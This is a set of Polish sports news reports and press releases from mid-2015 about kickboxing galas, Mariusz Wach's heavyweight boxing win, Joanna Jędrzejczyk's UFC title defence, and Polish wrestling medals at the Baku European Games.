W kategorii 56kg wystąpiła Iwona Nieroda. Polka rywalizowała z mającą za sobą występy w boksie Ukrainką Oksaną Romanovą. Nieroda nie miała łatwego zadania, gdyż trudno było jej się przygotować do pojedynku ze względu na fakt, że nie mogła znaleźć materiałów o swojej rywalce. Mimo to poradziła sobie z Ukrainką. Początek pojedynku niczym pierwsze minuty wizyty u lekarza – rozpoznanie, jednak z czasem niskie kopnięcia Nierody pokazały, kto będzie rozdawał karty. Romanova była opanowana i czekała na swoją szansę, a szybka Polka starała się raz za razem trafić rywalkę. Nieroda bez problemu wygrała na punkty. Zwyciężył również Michał Turyński, który pokonał Słowaka Radovana Kullę. Polak zneutralizował atuty wysokiego Słowaka. Wielki jak dąb Kulla nie potrafił zagrozić Turyńskiemu, który zmusił rywala do cofania się. Słowak nie potrafił odnaleźć się, był zagubiony i przegrał.

Pewny siebie Dawid Kasperski zrealizował plan. Tudor Turcan starał się, ale był bezsilny wobec ciosów i kopnięć Polaka. W drugiej rundzie Kasperski poważnie obił  swojego rywala. Turcan osunął się na deski i już nie podniósł się. O pas międzynarodowego zawodowego mistrza Polski w kategorii 75kg rywalizował Wojciech Kosowski. Rywalem Polaka był Turek Mucahit Kulat. Zawodnik znad Morza Czarnego wszedł do ringu i nie przestraszył się Kosowskiego. Polak odczuł kopnięcia Kulata, który aktywnie poruszał się i szukał szansy, aby zaskoczyć swojego rywala. Kosowski nie pozostawał bierny i atakował. Zawodnik warszawskiej Palestry starał się zaatakować Turka kolanem, jednak ten stawiał skuteczny opór. W drugiej rundzie Kosowski podkreślił tempo, a Kulat opadł z sił. Jedno z kopnięć na biodro spowodowało grymas bólu na twarzy Turka, którego sędzia wyliczył. Kosowski po raz kolejny pokazał wysokie umiejętności i dostarczył publiczności wielu wrażeń na najwyższym poziomie.

KM

Wach wygrywa i rusza do Londynu

Gala BudWeld Boxing Night w Ostrowcu Świętokrzyskim miała efektowne zakończenie. W walce wieczoru Mariusz Wach znokautował Konstantina Airicha.

„Viking” zrobił to, co do niego należało. Wygrał pewnie, wykorzystał swoje atuty i wreszcie wykonał krok do przodu. Od początku pojedynku Mariusz Wach trzymał rywala w dystansie. Polak wykorzystywał swoje warunki fizyczne – zasięg ramion i wzrost. Tempo walki nie powalało, gdyż obaj pięściarze spokojnie starali się przygotowywać kolejne ataki. W drugiej rundzie w końcu doszło do wymiany i w końcówce Wach trafił kilkoma mocnymi ciosami. Airich w trzeciej odsłonie po raz pierwszy zachwiał się na nogach. Polski bokser wagi ciężkiej wyprowadził kilka ciosów na głowę i tułów rywala, które zrobiły wrażenie na pięściarzu z Niemiec. Airich miał problemy kondycyjne, co nadto widoczne było w czwartej rundzie. Często wypluwał ochraniacz i łapał powietrze. Wach był konsekwentny w swoim działaniu, a zarazem czytelny, jednak rywal nie był w stanie odpowiedzieć Polakowi. Airich słabł i wydawało się, że lada chwila „Viking” powinien dokończyć dzieła. W szóstej rundzie Airich prosił swój narożnik o zakończenie pojedynku. Trenerzy zlitowali się i rzucili ręcznik.

Mariusz Wach trafił na przeciwnika, który kondycyjnie nie był przygotowany do pojedynku. Polak miał za zadanie wygrać i zrealizował plan. Teraz ma stanąć przed trudnym wyzwaniem. Prawdopodobnie Wach we wrześniu w Londynie zmierzy się z Anthony’m Joshuą. Młody pięściarz jest nadzieją brytyjskiego boksu, do tej pory stoczył trzynaście zwycięskich pojedynków. W ostatnim czasie pokonał Kevina Johnsona. Dla Wacha to ogromna szansa na powrót do światowej czołówki. Tyle, że „Viking” do rywalizacji z Joshuą musi się przygotować na każdym polu. Anglik jest młodszy, szybszy, sprawniejszy i ma paraliżujący cios. Gdyby do pojedynku doszło, byłoby to jedno z najtrudniejszych wyzwań w karierze polskiego pięściarza.

Mariusz Wach zanotował czwarte zwycięstwo po powrocie na ring. Polak odprawił Samira Kurtagicia, Travisa Walkera oraz Gbengę Oluokuna. Na zawodowym ringu „Viking” zanotował trzydzieści jeden zwycięstw i poniósł jedną porażkę. Czas na roztrenowanie już minął. Wszystko wskazuje na to, że jesienią Wach stoczy poważny pojedynek, który pozwoli zweryfikować jego miejsce w wadze ciężkiej.

W Ostrowcu Świętokrzyskim pierwszą porażkę w karierze zanotował Robert Parzęczewski. Polak przegrał na punkty z Jessy’m Luxembourge z Francji. Tylko Wachowi udało się skończyć walkę przed czasem, reszta pojedynków kończyła się werdyktem sędziów. Pierwsze starcie w karierze zwycięstwem zakończył Mateusz Rzadkosz, który pokonał Dzianisa Makara. Damian Wrzesiński wyraźnie lepszy od Oscara Fiko (60-53, 60-52, 59-53). Szczęśliwa wygrana Michała Leśniaka w rywalizacji z Andreiem Staliarchukiem. Z kolei Michł Gerlecki zdominował Pablo Sosę i zanotował jedenaste zwycięstwo w karierze. Michał Żeromiński lepszy od Laszlo Fazekasa.

KM

Jędrzejczyk gotowa do boju

Polska mistrzyni UFC wagi słomkowej po raz pierwszy w karierze będzie broniła mistrzowskiego pasa. Joanna Jędrzejczyk podczas UFC Fight Night w Berlinie zmierzy się z Jessicą Penne.

Polka przebojem wdarła się do najlepszej organizacji mieszanych sztuk walki na świecie i zrobiła furorę. W trzeciej walce w UFC rywalizowała o mistrzowski pas. Wcześniej dobre wrażenie pozostawiła po sobie w walce z Julianą de Lima Carneiro i zwłaszcza w starciu z Claudią Gadelhą. W pojedynku z mocną Brazylijką Polka udowodniła klasę i pokazała, że potrafi wyjść z opresji. Wydawało się, że Jędrzejczyk stoi na straconej pozycji, jednak postawiła trudne warunki, co sprawiło, że Gadelha musiała pogodzić się z porażką. Prawdziwy repertuar zagrań Polka pokazała w starciu z Carlą Esparzą. Jędrzejczyk walczyła o pas i od początku nie pozostawiła rywalce złudzeń, że za wszelką cenę chce, aby trafił on w jej ręce. Esparza musiała odpierać ataki polskiej fighterki. Jędrzejczyk zakończyła pojedynek w drugiej rundzie po serii ciosów, na które rywalka nie była w stanie odpowiedzieć. Czy Jessica Penne zatrzyma pochód 27-latki z Olsztyna?

Podczas ceremonii ważenia panie nie szczędziły sobie uprzejmości. Polka wręczyła Amerykance naszyjnik z makaronu penne, a ta zrewanżowała się Jędrzejczyk pierścieniem Golluma. 32-latka jest nastawiona bojowo. Nie przestraszyła się mistrzyni podczas ceremonii ważenia, okazała się pewna siebie, opanowana i żądna walki. Co pokaże w oktagonie? Penne ponad pięćdziesiąt procent swoich pojedynków kończy przez poddanie rywalek. Do tej pory w UFC stoczyła jedną walkę, w której uporała się z Randą Markos. Wcześniej rywalizowała na galach organizacji Invicta FC, kilka pojedynków stoczyła w Bellatorze. Penne ostatnią porażkę w swojej karierze zanotowała w kwietniu 2013 roku, kiedy uległa Michelle Waterson. Jędrzejczyk jeszcze nie przegrała podczas swoich występów w MMA.

Spojrzą sobie głęboko w oczy i ruszą do rywalizacji. Jędrzejczyk udowodniła, że stać ją na wiele i ma charakter, aby być mistrzynią. Penne jest zdeterminowana i gotowa na wymianę. Zapowiada się ciekawa walka, w której dominować może aktywność.

W Berlinie zaprezentują się dwaj Polacy. Piotr Hallmann wraca do UFC po dziewięciomiesięcznej dyskwalifikacji spowodowanej stosowaniem dopingu. Dla „Płetwala” będzie to piąty pojedynek dla najlepszej organizacji mieszanych sztuk walki na świecie. Do tej pory dwa pojedynki wygrał, dwa przegrał. Jego rywalem w Berlinie będzie Magomed Mustafaev. Dla Rosjanina będzie to debiut w UFC. 26-latek jest twardym fighterem, jak przystało na zawodników ze Wschodu. Pierwszą walkę w UFC stoczy również Łukasz Sajewski. 24-latek w swojej karierze nie zanotował jeszcze porażki i zanotował trzynaście zwycięstw. W maju ubiegłego roku odprawił Igora Egorova.  Rywalem Polaka będzie doświadczony Niemiec Nick Hein, który w UFC debiutował rok temu. W pierwszej walce okazał się lepszy od Drew Dobora, a w kolejnym występie musiał uznać wyższość Jamesa Vicka.

KM

Miód będzie się lał

Czy będzie tak słodko? Wszystko na to wskazuje. Gala kickboxingu zawodowego K-1 Rules Imbiriada Fighters Night 4 w Ożarowie Mazowieckim zapowiada się niezwykle interesująco.

Miejscem rywalizacji będzie MCC Mazurkas Conference Centre & Hotel. Zjawi się tam śmietanka polskiego kickboxingu – fighterzy o ugruntowanej pozycji i Ci, którzy wdrapują się na szczyt. Nie zabraknie zawodników z Bałkanów, Turcji, Słowacji i Ukrainy. Organizator liczy, że po raz kolejny gala spełni pokładane w niej nadzieje. Podczas lutowej imprezy, która była połączona z obchodami 25-lecia PZKb nie zabrakło interesujących i pełnych zwrotów akcji walk.

W walce wieczoru wystąpi Wojciech Kosowski, który mimo upływu lat nadal jest czołową postacią polskiego kickboxingu. Zawodnik Palestry Warszawa nie ustaje w doskonaleniu swoich umiejętności i na kolejnych imprezach odgrywa rolę gwiazdy. Podczas gali Imbiriada Fighters Night 3 Polak szybko uporał się z Milanem Kovacem. Kosowski już w pierwszej rundzie odesłał rywala do domu. Czy tym razem będzie podobnie? W Ożarowie naprzeciw Polaka stanie mocny i wymagający Mucahit Kulak. Początkowo zawodnik Palestry miał rywalizować z Ademem Bozkurtem. Stawką pojedynku będzie tytuł międzynarodowego mistrza Polski w kategorii 75kg.

W Ożarowie zaprezentuje się utalentowana Iwona Nieroda. Polka walcząca w kategorii 56kg stawia kolejne kroki w zawodowej karierze. Do tej pory stoczyła pięć walk i wszystkie zakończyły się jej triumfem. W tym roku na gali Battle of Warriors Extra 2 w Budzowie Nieroda na punkty wygrała z Petrą Castovą. W Rimini po raz drugi  w karierze zdobyła Puchar Świata (wcześniej w 2013 roku w Szeged). Nieroda ma na swoim koncie wiele sukcesów, a w ostatnich latach ustawicznie zwiększa swoją kolekcję. W 2013 roku w Warnie Polka wywalczyła tytuł mistrzyni świata WAKO Pro w low kick. Wyczyn ten powtórzyła rok później w Turcji. W Ożarowie stanie naprzeciw Oksany Romanowej z Ukrainy. 37-latka wywodzi się z boksu, a teraz rozwija swoje umiejętności w kickboxingu. Romanowa jest zawodniczką twardą i niezwykle wytrzymałą. Swego czasu potrafiła spędzić w ringu dziesięć rund.  Zapowiada się wyrównana walka.

W wadze ciężkiej zaprezentuje się Michał Turyński. Polak w zawodowej karierze stoczył dwadzieścia trzy pojedynki, z których szesnaście zakończyło się jego zwycięstwem. Przeciwnikiem Turyńskiego będzie 21-letni Słowak Radovan Kulla. Polak musi przygotować się na ciężki pojedynek. Mistrz Słowacji na poprzedniej gali Imbiriada Fighters Night uporał się z Patrykiem Proszkiem. Ożarowskiej publiczności zaprezentuje się Dawid Kasperski, który będzie walczył o pas zawodowego mistrza Polski w kategorii 86kg. Podczas swojego ostatnie występu na gali w Tallinie Polak przegrał z Maximem Vorovskim.

W Ożarowie wystąpią również: Patryk Proszek, Mateusz Rycerski, Damian Świerczyński, Arkadiusz Kaszuba i Artur Stańczak. Zatem w Ożarowie Mazowieckim zapowiada się ciekawy wieczór. 20 czerwca w ringu pojawią się mocne nazwiska, których celem będzie stworzenie prawdziwego show. Organizator liczy, że gala na stałe zagości w gronie najciekawszych wydarzeń w polskim kickboxingu.

KM

Krok od złota

Magomedmurad Gadżijew zaliczył bardzo dobry występ podczas I Igrzysk Europejskich w Baku. Pochodzący z Dagestanu zapaśnik w kategorii 70kg sięgnął po srebrny medal.

Reprezentant Polski udział w Igrzyskach Europejskich rozpoczął od kwalifikacji. Gadżijew poradził sobie z trudnymi warunkami i wysiłkiem związanym z rywalizacją. Zapaśnik dotarł aż do finału, jednak złota nie wywalczył.

Ta pierwsza runda

Pierwszym rywalem Gadżijewa był Miroslav Kirow, który nie sprawił reprezentantowi Polski większych problemów. Bułgar musiał pogodzić się z porażką 0:5. Zapowiadało się, że w 1/8 finału będzie ciężko, bo Polak trafił na reprezentanta gospodarzy. Rusłan Dibirgadżijew liczył na wygraną, ale się przeliczył. Doping publiczności nie pomógł reprezentantowi gospodarzy, a Gadżijew pokazał, że jest w dobrej dyspozycji i zwyciężył 7:2.

Przez ćwierćfinał reprezentant Polski przeszedł jak burza, a w półfinale pokazał prawdziwą klasę. Zsombor Gulyas nie miał najmniejszych szans w starciu z zapaśnikiem z Białogardu. Dawit Tlaszadzem był ostatnią przeszkodą na drodze Gadżijewa do finału. Pochodzący z Dagestanu zapaśnik wiedział, że jest w strefie medalowej, ale mierzył w złoto. Gruzin padł jego ofiarą już w pierwszej rundzie. Gadżijew rozbił swojego rywala 10:0 i czekał na finał. Wszystko wskazywało na to, że reprezentanta Polski stać na złoto.

W finałowej walce Gadżijew spotkał Rosjanina Magomedrasula Gazimagomiedowa, który również pochodzi z Dagestanu. Reprezentant Polski nadawał ton rywalizacji w pierwszej rundzie i wydawało się, że jest na najlepszej drodze do zwycięstwa. W końcówce akcja Gadżijewa zakończyła się korzystanie dla jego rywala, gdyż sędziowie przyznali punkt Gazimagomiedowowi. Rosjanin wygrał pierwszą odsłonę 2:1. Gadżijew spuścił z tonu i w drugiej rundzie był ostrożny. Dopiero w końcówce reprezentant Polski zaczął atakować, ale było już zbyt późno. Rosjanin skutecznie się bronił i to na jego szyi zawisło złoto.

Brąz Marcinkiewicza

Nie tylko Gadżijew stanął w Baku na podium. Serce do walki pokazał Radosław Marcinkiewicz, który w kategorii 86kg sięgnął po brązowy medal.

Polak w decydującej walce stanął przed trudnym wyzwaniem. Rywalem Marcinkiewicza był Nurmaqomed Qadjiyev z Azerbejdżanu. Tym samym Polak, podobnie jak Gadżijew w 1/8 finału, walczył pod ogromną presją. Wiadomo, że ściany pomagają gospodarzom, a dodatkowo Qadjiyeva dopingowała żywiołowa publiczność. Mimo to Marcinkiewicz nie dał się wytrącić z równowagi.

Początek walki nie zapowiadał sukcesu. Polak był spięty i nie przejawiał ochoty do rywalizacji. Po pierwszej rundzie Marcinkiewicz przegrywał 0:3. Nasz zapaśnik był cierpliwy i czekał na właściwy moment do ataku. Upływały kolejne sekundy, a Polak nadal przegrywał. Brązowy medal oddalał się, ale w końcu Marcinkiewicz postanowił zaatakować. Precyzyjne sprowadzenie sprawiło, że Polak zdobył decydujące o zwycięstwie punkty. Marcinkiewicz wygrał 5:3 i mógł cieszyć się z trzeciego miejsca na podium podczas I Igrzysk Europejskich.

KM

Ivona Nieroda vs Oksana Romanowa podczas Imbiriada Fighters Night4

Jako jedynym pojedynkiem kobiet na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się już 20 czerwca 2015 r. w Ożarowie Mazowieckim w MCC Mazurkas Conference Centre & Hotel, będzie walka pomiędzy polską zawodniczką Iwoną Nierodą, a Ukrainką Oksaną Romanovą. Walka zapowiada się niezmiernie ciekawie. Obie zawodniczki są świetnie przygotowane i posiadają duże doświadczenie.

Iwona Nieroda to zawodowa Mistrzyni Świata WAKO PRO. Jest zawodniczką Diamentu Pstrągowa i podopieczną trenera Jerzego Pilarza. Trenuje od 2003 roku. Swoje starty rozpoczęła w 2005 roku. Iwona na swoim koncie 148 walk amatorskich we wszystkich formułach kickboxingu. Na koncie Iwony są amatorskie tytuły mistrzowskie, w tym amatorskie Mistrzostwo Juniorów z 2008 zdobyte w Neapolu/Włochy, amatorskie Mistrzostwo Świata Seniorów zdobyte w 2011 w Skopje/Macedonia oraz amatorskie Mistrzostwo Europy z 2012 zdobyte w Ankarze/Turcja. Iwona Nieroda zdobyła także dwa razy Puchar Świata. Pierwszy raz w 2013 roku w Szeged na Węgrzech, a drugi raz w 2015 w Rimini/Włochy. Zawodniczka zdobyła również pięć razy z rzędu (w latach 2010, 2011, 2012, 2013, 2014, 2015) tytuł Mistrzyni Polski w Kickboxingu Low Kick Seniorów, a także cztery razy z rzędu (w latach 2011, 2012, 2013, 2014) tytuł Mistrzyni Polski w Kickboxingu K-1 Rules.

Stoczyła zaledwie 5 walk zawodowych, ale wszystkie z nich wygrywała. Ostatni zawodowy pojedynek stoczyła 28 lutego na Gali Battle of Warriors Extra 2 w Budzowie. Na tej Gali przeciwniczką Iwony była reprezentantka Czech, Petra Castova. Sędziowie nie mieli wątpliwości, że zwycięstwo należy się Iwonie. Pas zawodowej Mistrzyni Świata WAKO PRO w Kickboxingu Low Kick Iwona zdobyła w 2013 w Warnie/Bułgaria. W 2014 roku obroniła tytuł mistrzowski w Eskisehir/Turcja. Na Gali FIGHTERS NIGHT 2 Iwona wywalczyła pas Międzynarodowej Mistrzyni Polski w formule Low-Kick w kategorii do 56 kg. Przeciwniczką Iwony była Słowaczka Vladimira Smelkova. Po serii bardzo mocnych kopnięć Iwony Słowaczka, doznała kontuzji nogi i w III rundzie sędzia postanowił zakończyć walkę.

Na gali w Ożarowie Mazowieckim przeciwniczką Iwony będzie 37 letnia Oksana Romanova z Ukrainy, ksywa: Amazon, walcząca zawodowo od 2001 roku. Zawodniczka ukraińska wywodzi się z boksu. Według jego zasad stoczyła 24 walki zawodowe. Jest niezmiernie wytrzymałą zawodniczką. Ma na swoim koncie walki, w których wytrzymywała aż 10 rund. Może to świadczyć o dużej wytrzymałości, zawziętości i ogromnej chęci walki ukraińskiej zawodniczki. Cechy te sprawiają, że będzie bardzo trudna przeciwniczką dla Iwony Nierody.

""

Ostatni raz na zawodowym ringu bokserskim wystąpiła w grudniu 2012 roku. Oksana jest mistrzynią Ukrainy w Kickboxingu Full Kontakt (1995 – 2004 r.). W 1999 roku została Mistrzynią Świata w Kickboxingu Low Kick. 2004 rok przynosi tytuł Mistrzyni Świata. Kolejne osiągnięcie to tytuł Mistrzyni Miasta Kijowa 2011 roku w Kickboxingu K-1. W bieżącym roku wygrała Międzynarodowy Turniej Konsula Tajlandii na Ukrainie w Muay Thai.

Obie, zarówno Iwona Nieroda, jak i Oksana Romanova, to doświadczone zawodniczki, które posiadają olbrzymi potencjał i chęć walki. Ich spotkanie na ringu zapowiada się niezmiernie ciekawie. Na pewno dostarczy ono wszystkim wiele emocji.

 

 

źródło: informacja prasowa

Kazach z Niemiec na drodze Wacha

Popularny „Viking” stoczy drugi pojedynek w tym roku.19 czerwca na gali BudWeld Boxing Night w Ostrowcu Świętokrzyskim Mariusz Wach zmierzy się Konstantinem Airichem.

Kazach reprezentujący Niemcy jest rok starszy od Polaka. Z pewnością najlepsze bokserskie lata ma już za sobą. W 2015 roku Airich jeszcze nie walczył, jednak do pojedynku z Wachem przystępuje po dwóch porażkach – z Anthony’m Joshuą i Denisem Bakhtovem. 37-letni pięściarz nie ma za sobą najlepszego czasu. W marcu 2012 roku okazał się lepszy od Ondreja Pali i od tamtego czasu notuje coraz to słabsze występy. Airich zaliczył cztery porażki, jednak należy zauważyć, że mierzył się z pięściarzami o wysokich umiejętnościach. Kazach z Niemiec musiał uznać wyższość Odlaniera Solisa, Wiaczesława Głazkova, Manuela Charra i Christiana Hammera. Dwa zwycięstwa nieco podniosły morale Airicha, który w 2014 roku odprawił Ergina Solmaza oraz Marcella Gottschalka. Pierwsza połowa ubiegłego roku była dobra w wykonaniu najbliższego rywala Mariusza Wacha, ale kolejne miesiące przyniosły kolejne porażki. Jak Airich zaprezentuje się w pierwszym tegorocznym starcie? Co ciekawe – w swojej karierze reprezentant Niemiec mierzył się z Gbengą Oluokunem, czyli pięściarzem, z którym ostatnio spotkał się Mariusz Wach. „Viking” po dziesięciu rundach zwyciężył na punkty. Z kolei Airich musiał uznać wyższość Oluokuna, który rywalizację zakończył w czwartej rundzie.

Dla Wacha to czwarty występ po okresie absencji. Polski bokser wagi ciężkiej stopniowo wraca do rywalizacji na najwyższym poziomie, choć to stwierdzenie na wyrost. Wach dostaje rywali niezbyt wymagających. „Viking” ma oswoić się z ringiem, jednak powoli czas adaptacji mija. Jeśli Wach nadal chce się liczyć w boksie musi rywalizować z poważniejszymi rywalami. Cel na pojedynek z reprezentantem Niemiec? Wach musi pokazać, że jest lepszy. Istotną kwestią jest kondycja polskiego pięściarza i jego wytrzymałość. Z Oloukunem rywalizował dziesięć rund i wydaje się, że bardziej wymagający przeciwnik mógłby Wachowi utrzeć nosa. Airich jest pięściarzem, którego Polak powinien pokonać. Zdecydowanie i z dużą przewagą. Czy tak będzie?

Przed kolejnym wyzwaniem stanie Robert Parzęczewski. Czy Polak utrzyma status niepokonanego na zawodowym ringu? Rywalem Parzęczewskiego będzie Francuz Jessy Luxembourger. Michał Gerlecki postara się o jedenastą wygraną. Polski pięściarz udowodnił, że jego ciosy są niezwykle niebezpieczne. Podczas marcowej gali w Lubinie przekonał się o tym Stjepan Bozić, który w czwartej rundzie musiał pogodzić się z porażką. Tym razem rywalem Gerleckiego będzie Pablo Sosa z Argentyny. W Ostrowcu Świętokrzyskim zaprezentują się także: Damian Wrzesiński, który zmierzy się z Oszkarem Fiko, Michał Żeromiński w rywalizacji z Laszlo Fazekasem. Z kolei Michał Leśniak stanie naprzeciw Andrieja Staliarczuka, a Mateusz Rzadkosz stoczy pojedynek z Dzianisem Makarą.

KM

Michał Turyński kontra Radovan Kulla

Kolejną, ciekawie zapowiadającą się walką na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się 20 czerwca w MCC Mazurkas Conference Centre & Hotel, będzie spotkanie na ringu polskiego zawodnika Michała Turyńskiego z Słowakiem Radovanem Kullą.

Michał Turyński, lat 29, od 2009 r. członek Kadry Narodowej PZKB Low-kick/K-1 Rules rozpoczynał przygodę ze sportami walki od jiu jitsu i taekwon-do. Przez jakiś czas trenował również karate. Od 2009 roku jest pod opieką Tomasza Skrzypka, trenera kadry narodowej. Co ciekawe Michał oprócz treningów znajduje również czas na pracę firmie ochroniarskiej, której jest szefem oraz ochotniczej straży pożarnej w rodzinnej dolnośląskiej wsi Ciepłowody.

Trenuje od wielu lat, a pierwsze jego zdobyte tytuły związane są z taekwondo. Należy do nich zdobyte między innymi w 2004 roku w Świdniku Vice-mistrzostwo Polski Juniorów PUT w kategorii +78 kg. Kolejny lata przyniosły zdobycie Pucharu Świata Word Cup ETF w kategorii open w Grevenbroich w Niemczech, i Międzynarodowego Mistrzostwa Mołdawii Voievod w kategorii open w Kiszyniowie/ Mołdawia. Zdobył również w 2006 Mistrzostwo Polski PUT w kategorii +84 kg. Michał Turyński odnosił również sukcesy w karate, a są nimi zdobycie Pucharu Polski All Style Karate Semi Contakt w kategorii +90 kg i Mistrzostwa Polski  All Style Karate w kategorii +90 kg.

Swoją przygodę z kickboxingiem Michał rozpoczął od zdobycia w 2009 roku Vice-mistrzostwo Polski PZKB K-1 Rules w kategorii +91 kg. W tym samym roku zdobył również Mistrzostwo Polski PZKB Low-kick w kategorii +91 kg. Występował również na wielu zawodach polskich i międzynarodowych, w tym w Innsbrucku w Austrii w 2010 Pucharze Świata WAKO w K-1 Rules w kategorii open w Pucharze Świata WAKO K-1 Rules w kategorii open w Szeged na Węgrzech oraz Mistrzostwach Europy w K-1 w Ankarze/Turcja, gdzie zdobył brązowy medal. Na koncie Michała jest również zdobycie, rok po roku (2013 i 2014 r.), Mistrzostwa Polski PZKB  K-1 Rules w kategorii +91 kg.

Michał Turyński to zawodnik walczący nie tylko w walkach amatorskich ale również występujący w walkach zawodowych, których odbył 23, w tym 16 wygranych. Na jego koncie znajdują się między innymi walki na Gali K-1 GrandPrix Elimination in Vilnus Wilno/Litwa w 2013, Gali KOK Kiszyniów/ Mołdawia w 2014. W 2013 roku Michał zalicza wygraną na Gali Zawodowej The Gladiators K-1 Rules we Wrocławiu. Ma również na swoim koncie Zawodowe Mistrzostwo Polski PZKB  K-1 Rules w kategorii +91 kg, które zdobył w 2012 roku we Wrocławiu. Ostatnią walkę zawodową stoczył 17 października ubiegłego roku na Gali KOK w Gdańsku.

""

Przeciwnik Michała Turyńskiego, to 21 letni zawodnik słowackiego klubu Ares Gym Zielina, Radovan Kulla. Zawodnik charakteryzuje się imponującymi warunkami fizycznymi – prawie 2 metrowym wzrostem i wagą 102 kg. Ma bardzo duży zasięg ramion. Jest Mistrzem Słowacji. Słowak pomimo niewielkiej ilości walk amatorskich ma duże osiągnięcia na ringu zawodowym. Na jego koncie jest 15 walk zawodowych, w tym 12 walk zwycięskich. Brał udział w kolejnych edycjach Yangame Fight Night, a także Hanuman Cup 21, Kickboxing WKN World Championship czy też K-1-Warriors – The Final Battle w kwietniu bierzącego roku w Niemczech. Występ Radovana nie jest pierwszym na Gali Fighters Night. W poprzedniej edycji gali spotkał się na ringu Patrykiem Proszkiem. Górujący warunkami fizycznymi Słowak, pomimo wyrównanej walki, zrobił w oczach sędziów lepsze wrażenie, co zaowocowało ogłoszeniem go zwycięzcą pojedynku.

 

Czekamy z niecierpliwością jaki tym razem będzie wynik walki Słowaka z polskim zawodnikiem.

źródło: informacja prasowa

Paczuski dał zwycięstwo

Wiadomo było, że Łotysze będą trudnym przeciwnikiem, z którym zwycięstwo nie przyjdzie łatwo. Ten scenariusz sprawdził się, jednak Polacy po raz kolejny potwierdzili swoje ogromne możliwości. Na gali DSF Kickboxing Challenge biało-czerwoni pokonali Łotyszy 2:1.

Organizator po raz kolejny postawił na formułę meczową. Potwierdziło się, iż jest to interesujący pomysł na rywalizację w kickboxingu. Po pierwsze, budzi emocje, a po drugie – buduje poczucie jedności i wspólnego celu. W Warszawie Polacy okazali się lepsi od Macedonii, wygrali gładko 3:0. Z Łotyszami nie poszło już tak łatwo, ale biało-czerwoni z Włocławka wyjechali w glorii chwały.

Udany debiut Paczuskiego

Reinis Porozovs sprawdził dyspozycję Arkadiusza Dembińskiego. Polak chciał pokazać, że w pełni zasłużył na szansę występu, jednak Łotysz okazał się lepszy. Wyrównana walka potoczyła się po myśli Porozovsa, który w trzeciej rundzie doprowadził do liczenia Dembińskiego. Polska przegrywała, a w ringu miała pojawić się Dorota Godzina. Posiadaczka pasa DSF zawsze imponowała spokojem i konsekwencją, a tym razem zaskoczyła szybkością. Godzina stanęła do rywalizacji z Jeleną Ozinską.  Łotyszka chciała wziąć rewanż na Polce, która kiedyś już ją pokonała, ale ta sztuka nie powiodła się. Dorota Godzina już w pierwszej rundzie rozstrzygnęła pojedynek na swoją korzyść. Kopnięciem na głowę Polka pozbawiła szans Ozinską. Łotyszka miała rozcięty łuk brwiowy i nie była w stanie kontynuować walki.

O wyniku rywalizacji miał rozstrzygnąć Radosław Paczuski, dla którego był to pierwszy występ podczas walki wieczoru na DSF Kickboxing Challenge. 23-latek udźwignął ciężar spoczywający na jego barkach. Arturs Ozolins musiał uznać wyższość Paczuskiego, który już w pierwszej rundzie mógł się cieszyć ze zwycięstwa. Polak niskimi kopnięciami osłabił Łotysza i sprawił, że ten nie był w stanie walczyć dalej. Dzięki temu biało-czerwoni wygrali drugi pojedynek i całe spotkanie 2:1.

Ciężkie rozstrzygnięcie

We Włocławku doszło do finałowej rywalizacji w turnieju wagi ciężkiej. Naprzeciw siebie stanęli Tomasz Klimiuk i Michał Bławdziewicz. Zacięty pojedynek nie znalazł rozstrzygnięcia w ciągu trzech rund. Sędziowie przyznali zwycięstwo Klimiukowi.

Efektowna walka odbyła się w kategorii 63,5kg. Jan Lodzik pokazał szeroki repertuar zagrań, jednak nie był w stanie znokautować Mateusza Rajewskiego. Zawodnik z Płocka skutecznie bronił się i starał atakować. Po trzech rundach zwycięstwo sędziowie przyznali Lodzikowi. Jeden z najlepszych specjalistów w Polsce w full contact Łukasz Wichowski pokonał 3:0 Piotra Smoczyńskiego. Swoją walkę wygrał również Kamil Ruta. Fighter z Kobyłki  odprawił Patryka Zdrojewskiego z warszawskiej Palestry. Jakub Bartnik w trzeciej rundzie zakończył pojedynek z Tomaszem Kowalczykiem.

Jeszcze więcej

Kolejny mecz i kolejne zwycięstwo, ale na tym jeszcze nie koniec. Grupa DSF planuje kolejne wydarzenia. We wrześniu w Płocku Polska zmierzy się z Niemcami, a w listopadzie w Warszawie podejmie Rosję.

Wyniki gali DSF Kickboxing Challenge we Włocławku:

 

Walki Pro-Am

70 kg: Roger Garbaczewski pokonał Tomasza Walkowiaka przez RSC (niezdolność do walki)
81 kg: Jakub Bartnik pokonał Tomasza Kowalczyka przez KO w 3 rundzie
70 kg: Jakub Górny pokonał Adriana Heka przez decyzję 3-0

Walki Pro

81 kg: Michał Dykowski pokonał Sebastiana Adamskiego przez decyzję 3-0
81 kg: Kamil Ruta pokonał Patryka Zdrojewskiego przez decyzję 3-0
63,5 kg: Jan Lodzik pokonał Mateusza Rajewskiego przez decyzję 3-0
+91 kg: Tomasz Klimiuk pokonał Michała Bławdziewicza przez decyzję 3-0
80 kg: Łukasz Wichowski pokonał Piotra Smoczyńskiego przez decyzję 3-0

Polska vs Łotwa

91 kg: Reinis Porozovs pokonał Arkadiusza Dembińskiego przez decyzję 3-0
56 kg: Dorota Godzina pokonała Jelenę Ozinską (Łotwa) przez KO w 1 rundzie
Walka Wieczoru: 81 kg: Radosław Paczuski pokonał Artursa Ozolinsa przez TKO w 1 rundzie

KM

Powrót Rycerskiego w wielkim stylu

Bardzo ciekawie zapowiada się walka w kategorii 81 kg miedzy Mateuszem Rycerskim, a Dawidem Świerczyńskim. Już nieraz zawodnicy Ci krzyżowali ze sobą rękawice w różnego rodzaju turniejach amatorskich. Teraz przyszła pora by obaj 26 letni zawodnicy spotkali się na ringu zawodowym. Już 20 czerwca 2015 spotkają się w trakcie Gali Kickboxingu Zawodowego K-1 Rules IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się w Ożarowie Mazowieckim w MCC Mazurkas Conference Centre & Hotel.

